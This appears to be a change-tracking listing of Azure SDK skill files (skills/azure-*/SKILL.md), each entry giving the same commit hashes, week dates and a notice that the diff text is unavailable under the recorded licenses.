Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/azure-ai-translation-document-py/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/azure-ai-translation-text-py/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/azure-ai-translation-ts/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/azure-ai-vision-imageanalysis-java/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/azure-ai-vision-imageanalysis-py/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/azure-ai-voicelive-dotnet/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/azure-ai-voicelive-java/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/azure-ai-voicelive-py/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/azure-ai-voicelive-ts/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/azure-appconfiguration-java/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/azure-appconfiguration-py/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/azure-appconfiguration-ts/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/azure-communication-callautomation-java/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/azure-communication-callingserver-java/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/azure-communication-chat-java/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/azure-communication-common-java/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/azure-communication-sms-java/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/azure-compute-batch-java/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/azure-containerregistry-py/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/azure-cosmos-db-py/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/azure-cosmos-java/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/azure-cosmos-py/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/azure-cosmos-rust/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/azure-cosmos-ts/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/azure-data-tables-java/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/azure-data-tables-py/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/azure-eventgrid-dotnet/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/azure-eventgrid-java/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/azure-eventgrid-py/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/azure-eventhub-dotnet/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/azure-eventhub-java/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/azure-eventhub-py/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/azure-eventhub-rust/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/azure-eventhub-ts/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/azure-functions/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/azure-identity-dotnet/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/azure-identity-java/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/azure-identity-py/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/azure-identity-rust/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/azure-identity-ts/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/azure-keyvault-certificates-rust/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/azure-keyvault-keys-rust/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/azure-keyvault-keys-ts/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/azure-keyvault-py/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/azure-keyvault-secrets-rust/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/azure-keyvault-secrets-ts/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/azure-maps-search-dotnet/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/azure-messaging-webpubsub-java/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/azure-messaging-webpubsubservice-py/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/azure-mgmt-apicenter-dotnet/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/azure-mgmt-apicenter-py/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/azure-mgmt-apimanagement-dotnet/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/azure-mgmt-apimanagement-py/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/azure-mgmt-applicationinsights-dotnet/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/azure-mgmt-arizeaiobservabilityeval-dotnet/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/azure-mgmt-botservice-dotnet/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/azure-mgmt-botservice-py/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/azure-mgmt-fabric-dotnet/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/azure-mgmt-fabric-py/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/azure-mgmt-mongodbatlas-dotnet/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/azure-mgmt-weightsandbiases-dotnet/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/azure-microsoft-playwright-testing-ts/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/azure-monitor-ingestion-java/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/azure-monitor-ingestion-py/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/azure-monitor-opentelemetry-exporter-java/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/azure-monitor-opentelemetry-exporter-py/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/azure-monitor-opentelemetry-py/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/azure-monitor-opentelemetry-ts/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/azure-monitor-query-java/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/azure-monitor-query-py/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/azure-postgres-ts/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/azure-resource-manager-cosmosdb-dotnet/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/azure-resource-manager-durabletask-dotnet/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/azure-resource-manager-mysql-dotnet/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/azure-resource-manager-playwright-dotnet/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/azure-resource-manager-postgresql-dotnet/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/azure-resource-manager-redis-dotnet/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/azure-resource-manager-sql-dotnet/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/azure-search-documents-dotnet/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/azure-search-documents-py/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
